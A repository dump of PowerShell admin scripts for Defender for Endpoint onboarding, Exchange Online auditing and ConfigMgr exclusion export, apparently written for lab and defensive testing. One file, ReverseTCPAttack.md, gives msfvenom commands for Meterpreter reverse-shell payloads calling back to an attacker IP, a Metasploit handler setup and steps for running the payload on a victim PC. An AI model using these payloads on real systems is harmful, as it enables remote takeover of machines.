15 | 16 | Try{ 17 | $Base64OnboardingString = "" 18 | $utf8ByteArray = [System.Convert]::FromBase64String($base64OnBoardingString) 19 | $onBoardingScript = [System.Text.Encoding]::UTF8.GetString($utf8ByteArray) 20 | $onBoardingScriptPath = $env:temp 21 | $onBoardingScriptFile = "MDATPOnboarding.cmd" 22 | $FullOnboardingScriptPath = "$onBoardingScriptPath\$onBoardingScriptFile" 23 | $onBoardingScript | Out-File $FullOnboardingScriptPath -encoding utf8 24 | Start-Process $FullOnboardingScriptPath -wait 25 | Remove-Item -Path $FullOnboardingScriptPath -Force 26 | } 27 | Catch{ 28 | # Error running MDE script 29 | } 30 | 31 | 32 | Try{ 33 | $registryValue = Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows Advanced Threat Protection\Status" 34 | if($registryValue.OnboardingState -eq 1){ 35 | return $True 36 | }else{ 37 | return $False 38 | } 39 | }Catch{ 40 | $False 41 | } 42 | -------------------------------------------------------------------------------- /DefenderforEndpoint/Onboarding/Convert-MDEOnboardingBase64.ps1: -------------------------------------------------------------------------------- 1 | # Convert the Microsoft Defender for Endpoint onboarding script into a base64 string 2 | 3 | # The path to the MDE GPO onboarding script 4 | $onboardingscript = "C:\Data\mde\onboarding\WindowsDefenderATPOnboardingScript.cmd" 5 | $rawContent = Get-Content $onboardingscript -Raw -Encoding UTF8 6 | $utf8ByteArray = [System.Text.Encoding]::UTF8.GetBytes($rawContent) 7 | $base64OnBoardingString = [System.Convert]:: ToBase64String($utf8ByteArray) 8 | $base64OnBoardingString | out-file -FilePath "C:\Data\mde\mdeonboardbase64.txt" -encoding utf8 9 | -------------------------------------------------------------------------------- /DefenderforEndpoint/Onboarding/New-CMCIDefenderOnboarding_Discovery.ps1: -------------------------------------------------------------------------------- 1 | function New-CMCIDefenderOnboarding_Discovery 2 | { 3 | <# 4 | .Synopsis 5 | New-CMCIDefenderOnboarding_Discovery 6 | 7 | .DESCRIPTION 8 | New-CMCIDefenderOnboarding_Discovery creates a Configuration Item in ConfigMgr to check 9 | if the device is onboarded into Microsoft Defender for Endpoint 10 | 11 | if you want to create a CI that contains both discovery AND remediation use 12 | New-CMCIDefenderOnboarding_Remediation.ps1 instead 13 | 14 | .NOTES 15 | v1.0, 25.02.2021 alex verboon, initial version 16 | 17 | #> 18 | 19 | [CmdletBinding()] 20 | Param 21 | ( 22 | # ConfigMgr Site Code 23 | [Parameter(Mandatory=$true, 24 | ValueFromPipelineByPropertyName=$true, 25 | Position=0)] 26 | $SiteCode="P01", 27 | # ConfigMgr Site Server 28 | [Parameter(Mandatory=$true, 29 | ValueFromPipelineByPropertyName=$true, 30 | Position=0)] 31 | $SiteServer="$ENV:COMPUTERNAME" 32 | ) 33 | 34 | Begin 35 | { 36 | 37 | #Name and description of the Configuration Item 38 | $CI_name = 'CI_DefenderforEndpointOnboardingDiscovery' 39 | $CI_desc = 'Check if the device is onboarded into MDE' 40 | 41 | #Name of the CI setting and content of powershellscripts 42 | $Setting_name = 'Defender for Endpoint onboarding state' 43 | $Setting_Desc = 'Defender for Endpoint onboarding state' 44 | $discoverScript_path = "$PSScriptRoot\CI Scripts\CI_DefenderOnboarding_Discovery.ps1" 45 | 46 | #Name and description of the Compliance rule 47 | $rule_name = 'Defender for Endpoint onboarding state' 48 | $rule_Desc = 'Defender for Endpoint onboarding state' 49 | 50 | ################################################################################# 51 | # NO code edits needed below, unless you need to add additional functionality 52 | ################################################################################# 53 | 54 | # Check if ConfigMgr PowerShell Module is present and can be loaded 55 | Try{ 56 | if (-not(Get-Module -name ConfigurationManager)) 57 | { 58 | Write-Verbose "Importing Configuration Manager PowerShell module" 59 | Import-Module ($Env:SMS_ADMIN_UI_PATH.Substring(0,$Env:SMS_ADMIN_UI_PATH.Length-5) + '\ConfigurationManager.psd1') 60 | } 61 | } 62 | Catch{ 63 | Write-Error "Unable to load ConfigMgr PowerShell Module" 64 | } 65 | 66 | # Change the PS Drive to the ConfigMgr Site 67 | Write-Verbose "ConfigMgr SiteCode: $SiteCode" 68 | Write-Verbose "ConfigMgr SiteServer: $SiteServer" 69 | 70 | Try{ 71 | $configMgrDrive = "$SiteCode" + ":" 72 | cd $configMgrDrive 73 | Write-Verbose "Check if User sees the Configuration Item folder" 74 | Test-Path "ConfigurationItem" -PathType Container 75 | } 76 | Catch 77 | { 78 | Write-Error "There was an error connecting to the ConfigMgr Site $SiteCode" 79 | } 80 | 81 | Write-Verbose "Creating new Configuration Item:" 82 | Write-Verbose "Name: $CI_name" 83 | Write-Verbose "Description: $CI_desc" 84 | Write-Verbose "Setting name: $Setting_name" 85 | Write-Verbose "Setting Description: $Setting_Desc" 86 | Write-Verbose "PowerShell Script input: $discoverScript_path" 87 | Write-Verbose "Rule Name: $rule_name" 88 | Write-Verbose "Rule Description: $rule_Desc" 89 | 90 | } 91 | Process 92 | { 93 | Try{ 94 | Write-Verbose "Creating new Configuration Item" 95 | $CIObject = New-CMConfigurationItem -Name $CI_name -CreationType WindowsOS -Description $CI_desc 96 | 97 | Write-Verbose "Adding Settings" 98 | $Setting = Add-CMComplianceSettingScript -InputObject $CIObject -settingName $Setting_name -Description $Setting_Desc -DataType Boolean -DiscoveryScriptLanguage PowerShell -DiscoveryScriptFile $discoverScript_path -noRule -Is64Bit 99 | 100 | Write-Verbose "Adding Rules" 101 | $setting2 = $CIObject | Get-CMComplianceSetting -SettingName $Setting_name 102 | $CIRule = $Setting2 | New-CMComplianceRuleValue -ExpressionOperator IsEquals -RuleName $rule_name -ExpectedValue 'True' -NoncomplianceSeverity Critical -RuleDescription $rule_desc -ReportNoncompliance 103 | $CIRuleAdded = Add-CMComplianceSettingRule -InputObject $CIObject -Rule $CIRule 104 | } 105 | Catch 106 | { 107 | Write-Error "There was an error creating the Configuration Item for $CI_name" 108 | } 109 | } 110 | End 111 | { 112 | Get-CMConfigurationItem -Name "$CI_name" -Fast | Sort-Object DateCreated | Select-Object * -Last 1 113 | } 114 | } 115 | 116 | -------------------------------------------------------------------------------- /DefenderforEndpoint/Onboarding/New-CMCIDefenderOnboarding_Remediation.ps1: -------------------------------------------------------------------------------- 1 | function New-CMCIDefenderOnboarding_Remediation 2 | { 3 | <# 4 | .Synopsis 5 | New-CMCIDefenderOnboarding_Remediation 6 | 7 | .DESCRIPTION 8 | New-CMCIDefenderOnboarding_Remediation creates a Configuration Item in ConfigMgr to remediate 9 | devices that are not onboarded into Microsoft Defender for Endpoint 10 | 11 | .NOTES 12 | v1.0, 25.02.2021, alex verboon, initial version 13 | #> 14 | 15 | [CmdletBinding()] 16 | Param 17 | ( 18 | # ConfigMgr Site Code 19 | [Parameter(Mandatory=$true, 20 | ValueFromPipelineByPropertyName=$true, 21 | Position=0)] 22 | $SiteCode="P01", 23 | # ConfigMgr Site Server 24 | [Parameter(Mandatory=$true, 25 | ValueFromPipelineByPropertyName=$true, 26 | Position=0)] 27 | $SiteServer="$ENV:COMPUTERNAME" 28 | ) 29 | 30 | Begin 31 | { 32 | 33 | #Name and description of the Configuration Item 34 | $CI_name = 'CI_DefenderforEndpointOnboardingRemediation' 35 | $CI_desc = "Remediation for MDE onboarding" 36 | 37 | #Name of the CI setting and content of powershellscripts 38 | $Setting_name = 'Defender for Endpoint onboarding state remediation' 39 | $Setting_Desc = 'Defender for Endpoint onboarding state remediation' 40 | $discoverScript_path = "$PSScriptRoot\CI Scripts\CI_DefenderOnboarding_Discovery.ps1" 41 | $remediationScript_path = "$PSScriptRoot\CI Scripts\CI_DefenderOnboarding_Remediation.ps1" 42 | 43 | #Name and description of the Compliance rule 44 | $rule_name = 'Defender for Endpoint onboarding state' 45 | $rule_Desc = 'Defender for Endpoint onboarding state' 46 | 47 | 48 | ################################################################################# 49 | # NO code edits needed below, unless you need to add additional functionality 50 | ################################################################################# 51 | 52 | 53 | # Check if ConfigMgr PowerShell Module is present and can be loaded 54 | Try{ 55 | if (-not(Get-Module -name ConfigurationManager)) 56 | { 57 | Write-Verbose "Importing Configuration Manager PowerShell module" 58 | Import-Module ($Env:SMS_ADMIN_UI_PATH.Substring(0,$Env:SMS_ADMIN_UI_PATH.Length-5) + '\ConfigurationManager.psd1') 59 | } 60 | } 61 | Catch{ 62 | Write-Error "Unable to load ConfigMgr PowerShell Module" 63 | } 64 | 65 | # Change the PS Drive to the ConfigMgr Site 66 | Write-Verbose "ConfigMgr SiteCode: $SiteCode" 67 | Write-Verbose "ConfigMgr SiteServer: $SiteServer" 68 | 69 | 70 | Try{ 71 | $configMgrDrive = "$SiteCode" + ":" 72 | cd $configMgrDrive 73 | Write-Verbose "Check if User sees the Configuration Item folder" 74 | Test-Path "ConfigurationItem" -PathType Container 75 | } 76 | Catch 77 | { 78 | Write-Error "There was an error connecting to the ConfigMgr Site $SiteCode" 79 | } 80 | 81 | Write-Verbose "Creating new Configuration Item:" 82 | Write-Verbose "Name: $CI_name" 83 | Write-Verbose "Description: $CI_desc" 84 | Write-Verbose "Setting name: $Setting_name" 85 | Write-Verbose "Setting Description: $Setting_Desc" 86 | Write-Verbose "PowerShell Script input: $discoverScript_path" 87 | Write-Verbose "PowerShell remediation script: $remediationScript_path" 88 | Write-Verbose "Rule Name: $rule_name" 89 | Write-Verbose "Rule Description: $rule_Desc" 90 | 91 | } 92 | Process 93 | { 94 | Try{ 95 | Write-Verbose "Creating new Configuration Item" 96 | $CIObject = New-CMConfigurationItem -Name $CI_name -CreationType WindowsOS -Description $CI_desc 97 | 98 | Write-Verbose "Adding Settings" 99 | $Setting = Add-CMComplianceSettingScript -InputObject $CIObject -settingName $Setting_name -Description $Setting_Desc -DataType Boolean -DiscoveryScriptLanguage PowerShell -DiscoveryScriptFile $discoverScript_path -noRule -Is64Bit -RemediationScriptFile $remediationScript_path -RemediationScriptLanguage PowerShell 100 | 101 | Write-Verbose "Adding Rules" 102 | $setting2 = $CIObject | Get-CMComplianceSetting -SettingName $Setting_name 103 | $CIRule = $Setting2 | New-CMComplianceRuleValue -ExpressionOperator IsEquals -RuleName $rule_name -ExpectedValue 'True' -NoncomplianceSeverity Critical -RuleDescription $rule_desc -ReportNoncompliance -Remediate 104 | $CIRuleAdded = Add-CMComplianceSettingRule -InputObject $CIObject -Rule $CIRule 105 | } 106 | Catch 107 | { 108 | Write-Error "There was an error creating the Configuration Item for $CI_name" 109 | } 110 | } 111 | End 112 | { 113 | Get-CMConfigurationItem -Name "$CI_name" -Fast | Sort-Object DateCreated | Select-Object * -Last 1 114 | } 115 | } 116 | 117 | -------------------------------------------------------------------------------- /DefenderforEndpoint/Onboarding/readme.md: -------------------------------------------------------------------------------- 1 | # Defender for Endpoint - Onboarding Remediation 2 | 3 | For more details see: [How to remediate Defender for Endpoint onboarding with ConfigMgr](https://www.verboon.info/2021/02/how-to-remediate-defender-for-endpoint-onboarding-with-configmgr/) 4 | 5 | **Convert-MDEOnboardingBase64.ps1** 6 | This is the helper script to convert the onbaordingscript.cmd into a base64 string 7 | 8 | **New-CMCIDefenderOnboarding_Remediation.ps1** 9 | Use this script to create a CI for onboarding discovery and remediation, this script will create a CI in Microsoft Endpoint Configuration manager and embed the content of: 10 | CI Scripts\CI_DefenderOnboarding_Discovery.ps1 and CI_DefenderOnboarding_Remediation.ps1 11 | 12 | **New-CMCIDefenderOnboarding_Discovery.ps1** 13 | Use this script to create a CI for onboarding discovery only, this script will create a CI in Microsoft Endpoint Configuration manager and embed the content of: 14 | CI Scripts\CI_DefenderOnboarding_Discovery.ps1 15 | 16 | **CI Scripts\CI_DefenderOnboarding_Discovery.ps1** 17 | This script contains the code to gather the MDE onboarding state information 18 | 19 | **CI Scripts\CI_DefenderOnboarding_Remediation.ps1** 20 | This script executes the MDE onboarding script when the discovery result is false 21 | 22 | -------------------------------------------------------------------------------- /DefenderforEndpoint/OnboardingServers/Install-MMAAgent.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .Synopsis 3 | Install-MMAAgent 4 | .DESCRIPTION 5 | Install-MMAAgent installs the prerequisites to onboard Windows Server 2008-R2/2012-R2 and 2016 into MDE 6 | To onbboard Windows Server 2019 use the onboarding script that can be downloaded from the MDE portal. 7 | 8 | https://docs.microsoft.com/en-us/azure/azure-monitor/agents/agent-windows 9 | 10 | .NOTES 11 | v1.0, 02.05.2021, alex verboon 12 | #> 13 | [CmdletBinding()] 14 | Param() 15 | 16 | Begin{ 17 | $SourcePath = $PSScriptRoot 18 | Function Get-TimeStamp{ 19 | Get-Date -Format "ddMMyyyy:HHmmss" 20 | } 21 | $DateTimeStamp = (Get-Date -Format "ddMMyyyy_HHmm") 22 | $InstallLogFile = "$SourcePath\MDEInstall_$DateTimeStamp.LOG" 23 | Write-Output "$(Get-TimeStamp) Starting MDE Enablement" | out-file $InstallLogFile -Append 24 | 25 | If (-not (Test-Path "$SourcePath\MMA" -PathType Container)){ 26 | Write-Warning "$SourcePath\MMA Source Directory missing" 27 | } 28 | If (-not(Test-Path "$SourcePath\SCEP" -PathType Container)){ 29 | Write-Warning "$ourcePath\SCEP Source Directory missing" 30 | } 31 | 32 | 33 | # -------------------------------------------------------------- # 34 | # SCEP Agent for Server 2008-R2 and 2012-R2 Parmaeters 35 | # -------------------------------------------------------------- # 36 | $SCEPAgentSetup = "$SourcePath\scep\SCEPInstall.exe" 37 | $SCEPAgentUpdate = "$SourcePath\scep\scepinstall_update_KB3209361.exe" 38 | $ScepParameters = "/s" 39 | $ScepUpdateParameters = "/s" 40 | 41 | # -------------------------------------------------------------- # 42 | # MMA Agent Parameters 43 | # -------------------------------------------------------------- # 44 | $MMAProxy = "https://proxy.contoso.com:30443" 45 | $SetMMAProxy = $false 46 | $MMAAgentSetup = "$SourcePath\MMA\SETUP.EXE" 47 | $OPSINSIGHTS_WS_ID = "" 48 | $OPSINSIGHTS_WS_KEY = "" 49 | 50 | } 51 | 52 | Process{ 53 | Write-Output "$(Get-TimeStamp) Starting SCEP Installation" | out-file $InstallLogFile -Append 54 | $OSVersion = (get-itemproperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion" -Name ProductName).ProductName 55 | Write-Output "$(Get-TimeStamp) OS Version [$OSVersion]" | out-file $InstallLogFile -Append 56 | 57 | 58 | If($OSVersion -like "*2012 R2*"){ 59 | Write-Host "Running on Windows Server [$OSVersion]" 60 | Write-Host "Installing SCEP Agent" -ForegroundColor Green 61 | Start-Process -FilePath $SCEPAgentSetup -ArgumentList $ScepParameters -NoNewWindow 62 | $processNameToWaitForExit = 'SCEPInstall' 63 | do 64 | { 65 | Start-Sleep -Seconds 3 66 | } while (Get-Process -Name $processNameToWaitForExit -ErrorAction SilentlyContinue) 67 | 68 | Write-Host "Installing SCEP Agent update" -ForegroundColor Green 69 | Start-Process -FilePath $SCEPAgentUpdate -ArgumentList $ScepUpdateParameters -NoNewWindow 70 | do 71 | { 72 | Start-Sleep -Seconds 3 73 | } while (Get-Process -Name $processNameToWaitForExit* -ErrorAction SilentlyContinue) 74 | } 75 | Else 76 | { 77 | Write-Host "Running on Windows Server [$OSVersion] skipping SCEP Agent Installation." 78 | } 79 | 80 | 81 | # -------------------------------------------------------------- # 82 | # MMA Agent 83 | # -------------------------------------------------------------- # 84 | Write-Output "$(Get-TimeStamp) Starting MMA Installation" | out-file $InstallLogFile -Append 85 | If($OSVersion -like "*2012 R2*" -or $OSVersion -like "*2016*"){ 86 | Write-Host "Installing MMA Agent" -ForegroundColor Green 87 | 88 | $parameters = '/Qn ADD_OPINSIGHTS_WORKSPACE=1 OPINSIGHTS_WORKSPACE_ID=' + $OPSINSIGHTS_WS_ID + ' OPINSIGHTS_WORKSPACE_KEY=' + $OPSINSIGHTS_WS_KEY + ' AcceptEndUserLicenseAgreement=1' 89 | Start-Process -FilePath $MMAAgentSetup -ArgumentList $parameters -wait -NoNewWindow 90 | 91 | If ($MMAProxy -eq $true){ 92 | Write-Host "Set MMA Agent Proxy to $MMAProxy" -ForegroundColor Green 93 | 94 | Function Set-MMAProxy{ 95 | param($ProxyDomainName) 96 | # First we get the Health Service configuration object. We need to determine if we 97 | #have the right update rollup with the API we need. If not, no need to run the rest of the script. 98 | $healthServiceSettings = New-Object -ComObject 'AgentConfigManager.MgmtSvcCfg' 99 | $proxyMethod = $healthServiceSettings | Get-Member -Name 'SetProxyInfo' 100 | if (!$proxyMethod) 101 | { 102 | Write-Output 'Health Service proxy API not present, will not update settings.' 103 | return 104 | } 105 | Write-Output "Clearing proxy settings." 106 | $healthServiceSettings.SetProxyInfo('', '', '') 107 | 108 | Write-Output "Setting proxy to $ProxyDomainName with proxy username $ProxyUserName." 109 | $healthServiceSettings.SetProxyInfo($ProxyDomainName,"","") 110 | } 111 | Set-MMAProxy -ProxyDomainName $MMAProxy 112 | } 113 | Else{ 114 | Write-Host "No MMA Proxy specified" -ForegroundColor Green 115 | } 116 | } 117 | Else{ 118 | Write-Host "Running on Windows Server [$OSVersion] skipping MMA Agent Installation." 119 | } 120 | 121 | Write-Output "$(Get-TimeStamp) MDE Enablement completed" | out-file $InstallLogFile -Append 122 | } 123 | 124 | End{} 125 | 126 | 127 | -------------------------------------------------------------------------------- /DefenderforEndpoint/ReverseTCPAttack.md: -------------------------------------------------------------------------------- 1 | # Reverse TCP Attack 2 | 3 | Follow the below instructions to conduct an attack on a victim PC using a Reverse TCP payload 4 | 5 | ## Create Windows Binary Payload 6 | 7 | The below instructions explain how to create a Windows Binary Payload that can be used to drop on a victim client. 8 | 9 | 1. On the Attacker Client where Metasploit is installed open a command prompt 10 | 2. Run IPConfig to obtain the IP address of the attacker client 11 | 3. Then Run the following command 12 | 13 | ```batch 14 | msfvenom.bat -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=172.18.48.21 LPORT=4444 -f exe -o C:\Payloads\Payload3.exe 15 | ``` 16 | 4. The generated payload is stored in c:\Payloads\ 17 | 18 | 19 | ## Create Windows PowerShell Payload 20 | 21 | The below instructions explain how to create a PowerShell Payload that can be used to drop on a victim client. 22 | 23 | 1. On the Attacker Client where Metasploit is installed open a command prompt 24 | 2. Run IPConfig to obtain the IP address of the attacker client 25 | 3. Then Run the following command 26 | 27 | ```batch 28 | msfvenom -p windows/x64/meterpreter/reverse_https LHOST=172.18.48.21 LPORT=444 EXITFUNC=thread -f ps1 -o c:\Payloads\Invoke-Shellcode.ps1 29 | ``` 30 | 31 | 4. The generated payload is stored in c:\Payloads\ 32 | 33 | ## Start Metasploit Handler 34 | 35 | Within the Metasploit Console enter the following commands: 36 | 37 | ```batch 38 | use exploit/multi/handler 39 | set PAYLOAD windows/meterpreter/reverse_tcp 40 | set LHOST 172.18.48.21 41 | set LPORT 4444 42 | set ExitOnSession false 43 | exploit -j -z 44 | ``` 45 | 46 | To list the sessions type 47 | sessions -l 48 | 49 | to start interacting with the remote client type 50 | sessions -i 1 51 | 52 | ## Victim PC 53 | 54 | 1. Copy the payload executable from the attacker PC to the victim PC. 55 | 2. Launch the previously generated payload.exe as Administrator3. 56 | 57 | ## Post Activities 58 | 59 | to be defined 60 | 61 | ## Resources 62 | 63 | - [Creating Metasploit Payloads](https://netsec.ws/?p=331) 64 | - [Mimikatz](https://www.offensive-security.com/metasploit-unleashed/mimikatz/) 65 | - [How to Attack Windows 10 Machine with Metasploit](ttps://resources.infosecinstitute.com/how-to-attack-windows-10-machine-with-metasploit-on-kali-linux/#gref) 66 | -------------------------------------------------------------------------------- /DefenderforEndpoint/USB/scanusb.ps1: -------------------------------------------------------------------------------- 1 | function UsbMountWatcher { 2 | $alarm = New-Object System.Management.EventQuery 3 | $alarm.QueryString = "SELECT * FROM Win32_VolumeChangeEvent WHERE EventType = 2" 4 | New-Object System.Management.ManagementEventWatcher $alarm 5 | } 6 | $pathtompcmdrun = $env:PROGRAMFILES + "\Windows Defender\MpCmdRun.exe" 7 | $watcher = UsbMountWatcher 8 | while ($true) { 9 | $event = $watcher.WaitForNextEvent() 10 | $driveletter = $event.Properties["DriveName"].Value.ToString() + "\" 11 | &$pathtompcmdrun "-Scan" "-File" $driveletter "-DisableRemediation" 12 | Write-Output $LASTEXITCODE 13 | } 14 | $watcher.Stop() 15 | -------------------------------------------------------------------------------- /EXO/Delayed_mail_delivery_time.ps1: -------------------------------------------------------------------------------- 1 |  2 | #https://blog.kloud.com.au/2018/07/19/measure-o365-atp-safe-attachments-latency-using-powershell/ 3 | 4 | $UserCredential = Get-Credential 5 | $Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri https://outlook.office365.com/powershell-liveid/ -Credential $UserCredential -Authentication Basic -AllowRedirection 6 | Import-PSSession $Session -DisableNameChecking 7 | 8 | 9 | $RecipientAddress = 'oadmin@verboon.org'; 10 | $Messages = Get-MessageTrace -RecipientAddress $RecipientAddress -StartDate (Get-Date).AddHours(-1) -EndDate (get-date) 11 | 12 | <# 13 | $details1 = Get-MessageTraceDetail -MessageTraceId "ce879179-eb01-4dcc-4acd-08d628547df6" -RecipientAddress $RecipientAddress | Sort-Object Date 14 | $details2 = Get-MessageTraceDetail -MessageTraceId "1e37fc9e-f1ef-4149-9acc-08d628576371" -RecipientAddress $RecipientAddress | Sort-Object Date 15 | $details3 = Get-MessageTraceDetail -MessageTraceId "77d39a9b-96e7-44bc-bcb5-08d6285888c6" -RecipientAddress $RecipientAddress | Sort-Object Date 16 | $details4 = Get-MessageTraceDetail -MessageTraceId "d3f063b3-50cd-4a7e-f8d4-08d6285bef99" -RecipientAddress $RecipientAddress | Sort-Object Date 17 | #> 18 | ForEach ($msg in $Messages) 19 | { 20 | Get-MessageTraceDetail -MessageTraceId $($msg.MessageTraceId).Guid -RecipientAddress $RecipientAddress | Select-Object * | Sort-Object Date 21 | #Event,Action,Detail,date | Sort-Object Date 22 | Write-Host "---------------------------------------------" -ForegroundColor Yellow 23 | } 24 | 25 | 26 | -------------------------------------------------------------------------------- /EXO/connect_exchange.ps1: -------------------------------------------------------------------------------- 1 |  2 | $UserCredential = Get-Credential 3 | $Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri https://outlook.office365.com/powershell-liveid/ -Credential $UserCredential -Authentication Basic -AllowRedirection 4 | Import-PSSession $Session -DisableNameChecking 5 | -------------------------------------------------------------------------------- /EXO/connect_exchange_mfa.ps1: -------------------------------------------------------------------------------- 1 | # connect to EXO with MFA 2 | $CreateEXOPSSession = (Get-ChildItem -Path $env:userprofile -Filter CreateExoPSSession.ps1 -Recurse -ErrorAction SilentlyContinue -Force | Select -Last 1).DirectoryName 3 | . "$CreateEXOPSSession\CreateExoPSSession.ps1" -------------------------------------------------------------------------------- /EXO/enable_global_audit_logging.ps1: -------------------------------------------------------------------------------- 1 |  2 | #This script will enable non-owner mailbox access auditing on every mailbox in your tenancy 3 | #First, let's get us a cred! 4 | $userCredential = Get-Credential 5 | 6 | #This gets us connected to an Exchange remote powershell service 7 | $ExoSession = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri https://outlook.office365.com/powershell-liveid/ -Credential $userCredential -Authentication Basic -AllowRedirection 8 | Import-PSSession $ExoSession 9 | 10 | #Enable global audit logging 11 | Get-Mailbox -ResultSize Unlimited -Filter {RecipientTypeDetails -eq "UserMailbox" -or RecipientTypeDetails -eq "SharedMailbox" -or RecipientTypeDetails -eq "RoomMailbox" -or RecipientTypeDetails -eq "DiscoveryMailbox"} | Set-Mailbox -AuditEnabled $true -AuditLogAgeLimit 180 -AuditAdmin Update, MoveToDeletedItems, SoftDelete, HardDelete, SendAs, SendOnBehalf, Create, UpdateFolderPermission -AuditDelegate Update, SoftDelete, HardDelete, SendAs, Create, UpdateFolderPermissions, MoveToDeletedItems, SendOnBehalf -AuditOwner UpdateFolderPermission, MailboxLogin, Create, SoftDelete, HardDelete, Update, MoveToDeletedItems 12 | 13 | #Double-Check It! 14 | Get-Mailbox -ResultSize Unlimited | Select Name, AuditEnabled, AuditLogAgeLimit | Out-Gridview -------------------------------------------------------------------------------- /EXO/mbx_fwd_rules.ps1: -------------------------------------------------------------------------------- 1 | #Import the right module to talk with AAD 2 | import-module MSOnline 3 | 4 | #Let's get us an admin cred! 5 | $userCredential = Get-Credential 6 | 7 | #This connects to Azure Active Directory 8 | Connect-MsolService -Credential $userCredential 9 | 10 | $ExoSession = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri https://outlook.office365.com/powershell-liveid/ -Credential $userCredential -Authentication Basic -AllowRedirection 11 | Import-PSSession $ExoSession 12 | 13 | $allUsers = @() 14 | $AllUsers = Get-MsolUser -All -EnabledFilter EnabledOnly | select ObjectID, UserPrincipalName, FirstName, LastName, StrongAuthenticationRequirements, StsRefreshTokensValidFrom, StrongPasswordRequired, LastPasswordChangeTimestamp | Where-Object {($_.UserPrincipalName -notlike "*#EXT#*")} 15 | 16 | $UserInboxRules = @() 17 | $UserDelegates = @() 18 | 19 | foreach ($User in $allUsers) 20 | { 21 | Write-Host "Checking inbox rules and delegates for user: " $User.UserPrincipalName; 22 | $UserInboxRules += Get-InboxRule -Mailbox $User.UserPrincipalname | Select Name, Description, Enabled, Priority, ForwardTo, ForwardAsAttachmentTo, RedirectTo, DeleteMessage | Where-Object {($_.ForwardTo -ne $null) -or ($_.ForwardAsAttachmentTo -ne $null) -or ($_.RedirectsTo -ne $null)} 23 | $UserDelegates += Get-MailboxPermission -Identity $User.UserPrincipalName | Where-Object {($_.IsInherited -ne "True") -and ($_.User -notlike "*SELF*")} 24 | } 25 | 26 | $SMTPForwarding = Get-Mailbox -ResultSize Unlimited | select DisplayName,ForwardingAddress,ForwardingSMTPAddress,DeliverToMailboxandForward | where {$_.ForwardingSMTPAddress -ne $null} 27 | 28 | $UserInboxRules | Export-Csv MailForwardingRulesToExternalDomains.csv 29 | $UserDelegates | Export-Csv MailboxDelegatePermissions.csv 30 | $SMTPForwarding | Export-Csv Mailboxsmtpforwarding.csv -------------------------------------------------------------------------------- /EXO/traceit2.ps1: -------------------------------------------------------------------------------- 1 |  2 | $startDate = (Get-Date -Hour 0 -Minute 0 -Second 0).AddDays(-1) 3 | $EndDate = (Get-Date -Hour 23 -Minute 59 -Second 59).AddDays(-1) 4 | $Receipientemail = "*@basevision.ch" 5 | 6 | #$allmsg = Get-MessageTrace -RecipientAddress $Receipientemail -StartDate $startDate -EndDate $EndDate | Select-Object * | Where-Object {$_.status -ne "Delivered"} 7 | 8 | $allmsg = Get-MessageTrace -RecipientAddress $Receipientemail -StartDate $startDate -EndDate $EndDate | Select-Object * # | Where-Object {$_.status -ne "Delivered"} 9 | $inforesult = @() 10 | ForEach ($msg in $allmsg) 11 | { 12 | #Write-Host $msg.Subject -ForegroundColor Green 13 | $detail = (Get-MessageTraceDetail -MessageTraceId $msg.MessageTraceId -RecipientAddress $msg.RecipientAddress) # -StartDate $startDate -EndDate $EndDate) 14 | $inforesult = $inforesult + $detail 15 | } 16 | 17 | $inforesult | Select Messageid, Date,Event, Detail, Data 18 | 19 | 20 | ############################## 21 | 22 | $startDate = (Get-Date).AddDays(-15) 23 | $EndDate = (Get-Date) 24 | 25 | $atptraffice = Get-MailTrafficATPReport -StartDate $startDate -EndDate $EndDate | Select-Object * 26 | 27 | #Get-MailTrafficReport -StartDate $startDate -EndDate $EndDate | Select-Object * 28 | 29 | Get-MailDetailATPReport -StartDate $startDate -EndDate $EndDate | Select-Object * 30 | $tls = $inforesult | Select-Object Detail,data | Where-Object {$_.detail -like "Message received by:*"} 31 | 32 | $b = [xml]$tls -------------------------------------------------------------------------------- /EndpointConfigurationManager/ExportAntimalwareExclusions/doit.ps1: -------------------------------------------------------------------------------- 1 |  2 | $ExportPath = "C:\temp\defender" 3 | Export-CMDefenderPolicy -Path $ExportPath -Verbose 4 | $CMAntimalwareFiles = Get-ChildItem -Path $ExportPath -Filter "*.xml" 5 | 6 | $AllExclusions = @() 7 | $AllExclusions = ForEach($File in $CMAntimalwareFiles) 8 | { 9 | Export-CMExclusions -CMPolicyFile $File.FullName 10 | } 11 | 12 | $AllExclusions | Select-Object ExclusionType,Value, Policy,File | Export-Csv -Path $ExportPath\allexclusions.csv -NoClobber -NoTypeInformation -Force 13 | -------------------------------------------------------------------------------- /EndpointConfigurationManager/ExportAntimalwareExclusions/export-CMExclusions.ps1: -------------------------------------------------------------------------------- 1 | function Export-CMExclusions 2 | { 3 | <# 4 | .Synopsis 5 | Export-CMExclusions 6 | .DESCRIPTION 7 | Export-CMExclusions extracts defender exclusoins from exported defender antimalware policy file 8 | .EXAMPLE 9 | Export-CMExclusions -CMPolicyFile C:\temp\defenderexclusion\DefenderforMikronClientsEPLAN.xml 10 | .NOTES 11 | v1.0, 20.05.2022, Alex Verboon 12 | #> 13 | [CmdletBinding()] 14 | [Alias()] 15 | [OutputType([int])] 16 | Param 17 | ( 18 | # CM Policy File 19 | [Parameter(Mandatory=$true)] 20 | $CMPolicyFile 21 | ) 22 | 23 | Begin 24 | { 25 | } 26 | Process 27 | { 28 | 29 | $PathData = [System.Collections.Generic.List[Object]]::new() 30 | $ExtensionData = [System.Collections.Generic.List[Object]]::new() 31 | $ProcessData = [System.Collections.Generic.List[Object]]::new() 32 | 33 | [xml]$CMPolicyDefinition = Get-Content -Path $CMPolicyFile 34 | $CMPolicy = [System.IO.Path]::GetFileNameWithoutExtension("$CMPolicyFile") 35 | 36 | 37 | $ExclusionPaths = $CMPolicyDefinition.SecurityPolicy.PolicySection.LocalGroupPolicySettings.AddKey | Select-Object Name, Disabled, AddValue | Where-Object { $_.Name -like "SOFTWARE\Policies\Microsoft\Microsoft Antimalware\Exclusions\Paths" } | Select-Object -ExpandProperty AddValue 38 | If ($null -eq $ExclusionPaths) { 39 | $ExclusionPaths = @() 40 | } 41 | 42 | $ExclusionExtensions = 